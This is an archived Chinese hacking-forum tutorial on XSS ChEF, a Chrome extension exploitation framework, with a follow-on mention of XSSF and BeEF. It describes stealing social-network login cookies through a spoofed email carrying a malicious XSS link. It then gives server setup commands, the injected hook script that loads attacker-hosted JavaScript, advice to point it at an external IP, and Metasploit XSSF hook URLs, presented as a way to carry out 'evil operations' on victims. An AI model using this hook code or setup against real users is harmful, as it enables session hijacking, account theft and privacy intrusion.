天马行空工作室

 找回密码
 加入天马
搜索
查看: 3220|回复: 1

XSS ChEF v1.0图文教程

[复制链接]
发表于 2013-2-3 23:13:19 | 显示全部楼层 |阅读模式

我们都知道XSS漏洞有两种最基本的形式,保存型XSS和反射型XSS,保存型XSS是可以把跨站脚本持久化,如果在处理用户输入的时候没有编码并 且在页面进行渲染的时候没有去对动态输出的内容进行编码处理,那么所有访问这个页面的用户都会中招。而反射型XSS是通过精心构建一个url,url的请 求参数里面含有跨站脚本,页面没有过滤就直接显示了请求参数的内容,那么用户就会遭到XSS攻击。
XSS Filter主要是针对于反射型的XSS攻击。关于反射型的XSS,也许会有人问,怎么会有人去访问这样一个不明不白的链接呢?想象这样一个场景,假设某 个喜欢乱发垃圾邮件的SNS网站存在一个XSS漏洞,并且你设置的是该网站自动登录,我想盗你的号,并且我知道你最近在暗恋那谁家的小谁!并且在这个 SNS上她是你的好友!有了这些个信息,那么盗你的号就是易如反掌了,首先我会精心构建一个带有跨站脚本参数的链接,然后伪造一封该SNS的提醒邮件,说 谁家那小谁评论了你的照片说你帅!评论的链接指向这个恶意的uri,并且修改from头是从该SNS网站发来的,那么你收到这封邮件,即使你的安全意识很 强,但是你确定你能很淡定的检查完URL再去点开吗?如果你一旦点开,我就会拿到你的登录Cookie或者是抓取你SNS的一些个人隐私内容!而且如果我 想盗很多人的号,那么就可以把谁家那小谁换成是参加XXX网举办的XXX活动免费送XXX之类的内容,然后找个肉鸡群发邮件!相信喜欢免费XXX的人还是 很多的!所以说妈妈从小教育我,人多热闹的地方不要随便往上凑!多数不安全!这条原则看来同样适合于网络!

Chrome引入了XSS Filter就是为了保护我们这些在种种诱惑之下不能淡定的用户,XSS Filter的基本原则就是在执行每一段javascript脚本的时候都去与请求参数进行对比,如果在要执行的javascript脚本也同样存在于请 求参数之中,那么就会暂停执行这段脚本。这个看上去不错,当然也有很多方法去绕过这个过滤,网上已经有大牛公布了一些方法,有些官方已经修复,有些还尚未 修复,可能还有很多的0day没有公布.

Krzysztof Kotowicz ( https://github.com/koto/xsschef )写了一个工具,Chrome终结者 :XSS ChEF
关于他的更多功能看这里:http://www.toolswatch.org/2012/08/xss-chef-v1-0-chrome-extension-exploitation-framework/

  • root@Dis9Team:~# cd /var/www/

复制代码

Node.js

他提供两种启动方式, Node.js 和PHP,对于 Node.js 这种高级货,是一套用来编写高性能网络服务器的JavaScript工具包,很是不懂,既然不懂就用它把

  • root@Dis9Team:/var/www/xsschef# sudo apt-get install libssl-dev
  • root@Dis9Team:/var/www/xsschef# cd /tmp
  • root@Dis9Team:/tmp# wget http://nodejs.org/dist/v0.8.7/node-v0.8.7-linux-x86.tar.gz
  • root@Dis9Team:/tmp# tar xf node-v0.8.7-linux-x86.tar.gz.0
  • oot@Dis9Team:/tmp# cd node-v0.8.7-linux-x86
  • root@Dis9Team:/tmp/node-v0.8.7-linux-x86# mkdir /usr/local/node
  • root@Dis9Team:/tmp/node-v0.8.7-linux-x86# cp -rf * /usr/local/node/
  • root@Dis9Team:/tmp/node-v0.8.7-linux-x86# ln -s /usr/local/node/bin/n* /usr/bin/

复制代码

基本装好了 安装组件

  • root@Dis9Team:/tmp/node-v0.8.7-linux-x86/node_modules# cd /usr/local/node/
  • root@Dis9Team:/usr/local/node# npm install websocket
  • root@Dis9Team:/usr/local/node# npm install node-static

复制代码

启动服务端
  • root@Dis9Team:/var/www/xsschef# node server.js
  • XSS ChEF server</div><div>by Krzysztof Kotowicz - kkotowicz at gmail dot com
  • Usage: node server.js [port=8080]
  • Communication is logged to stderr, use node server.js [port] 2>log.txt
  • Wed Aug 22 2012 03:20:10 GMT-0700 (PDT) ChEF server is listening on  port 8080
  • Wed Aug 22 2012 03:20:10 GMT-0700 (PDT) Console URL: http://127.0.0.1:8080/
  • Wed Aug 22 2012 03:20:10 GMT-0700 (PDT) Hook URL:    http://127.0.0.1:8080/hook
  • Hook:http://127.0.0.1:8080/hook
  • UI: http://127.0.0.1:8080

复制代码


在界面模式点击 GET HOOK CODE就出来了
eg:

  • if(location.protocol.indexOf('chrome')==0){d=document;e=createElement('script');e.src='__HOOK_URL__';d.body.appendChild(e);}

复制代码

and:

  • <img src=x>

复制代码

把 __HOOK_URL__ 替换成你的HOOK地址: http://127.0.0.1:8080/hook.php 换成外网IP,我的则是 :

  • <img src=x>

复制代码

测试攻击

他提供了一个CHROME插件vulnerable_chrome_extension,在XSSCHEF跟目录

Chrome安装这个插件

运行插件 插入XSS HOOK代码

查找会话 选择会话

我们就能对他进行一些邪恶操作

他默认提供很多eval代码


猥琐的JS

配合BEEF和XSSFXSSF

启动XSSF

msf > xssf_urls [+] XSSF Server          : 'http://10.0.3.15:8888/'                 or 'http://:8888/'[+] Generic XSS injection: 'http://10.0.3.15:8888/loop'         or 'http://:8888/loop'[+] XSSF test page         : 'http://10.0.3.15:8888/test.html' or 'http://:8888/test.html'[+] XSSF Tunnel Proxy        : 'localhost:8889'[+] XSSF logs page        : 'http://localhost:8889/gui.html?guipage=main'[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'[+] XSSF help page        : 'http://localhost:8889/gui.html?guipage=help'msf >

hook : http://5.5.5.4:8888/loop
插入:

BEEF

启动BEEF 如上…


发表于 2013-2-8 00:43:10 | 显示全部楼层
dis9威武- -
您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2020-4-5 01:30 , Processed in 0.028524 second(s), 19 queries .

Powered by Discuz! v8

© 2010-2014 XSS ChEF v1.0图文教程 - XSS 天马行空工作室

快速回复 返回顶部 返回列表